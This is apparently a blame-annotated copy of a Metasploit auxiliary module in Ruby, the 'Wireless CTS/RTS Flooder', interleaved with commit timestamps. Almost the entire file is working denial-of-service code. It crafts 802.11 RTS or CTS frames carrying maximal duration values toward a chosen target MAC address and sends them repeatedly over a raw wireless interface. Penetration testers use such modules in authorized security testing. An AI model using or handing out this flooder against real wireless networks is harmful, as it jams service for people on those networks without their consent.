2008-04-21 05:41:53 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Lorcon
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
2008-04-21 05:41:53 +00:00
|
|
|
def initialize(info ={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Wireless CTS/RTS Flooder',
|
|
|
|
'Description' => %q{
|
|
|
|
This module sends 802.11 CTS/RTS requests to a specific wireless peer,
|
|
|
|
using the specified source address,
|
|
|
|
},
|
|
|
|
|
|
|
|
'Author' => [ 'Brad Antoniewicz' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$'
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]),
|
|
|
|
OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]),
|
|
|
|
OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']),
|
2008-11-24 18:42:59 +00:00
|
|
|
OptInt.new('NUM',[true, "Number of frames to send",100])
|
2008-04-21 05:41:53 +00:00
|
|
|
],self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
case datastore['TYPE'].upcase
|
|
|
|
when 'RTS'
|
|
|
|
if (!datastore['ADDR_SRC'])
|
|
|
|
print_status("FAILED: RTS Flood selected but ADDR_SRC not set!")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
frame = create_rts()
|
|
|
|
when 'CTS'
|
|
|
|
|
|
|
|
frame =create_cts()
|
|
|
|
else
|
|
|
|
print_status("No TYPE selected!!")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
open_wifi
|
2008-11-13 06:27:31 +00:00
|
|
|
print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....")
|
2008-04-21 05:41:53 +00:00
|
|
|
|
2008-11-13 06:27:31 +00:00
|
|
|
datastore['NUM'].to_i.times do
|
2008-04-21 05:41:53 +00:00
|
|
|
wifi.write(frame)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
def create_rts
|
|
|
|
|
|
|
|
frame =
|
|
|
|
"\xb4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) + # dst addr
|
|
|
|
eton(datastore['ADDR_SRC']) # src addr
|
|
|
|
|
|
|
|
return frame
|
|
|
|
end
|
|
|
|
def create_cts
|
|
|
|
|
|
|
|
frame =
|
|
|
|
"\xc4" + # Type/SubType
|
|
|
|
"\x00" + # Flags
|
|
|
|
"\xff\x7f" + # Duration
|
|
|
|
eton(datastore['ADDR_DST']) # dst addr
|
|
|
|
|
|
|
|
return frame
|
|
|
|
end
|
2008-11-13 06:27:31 +00:00
|
|
|
end
|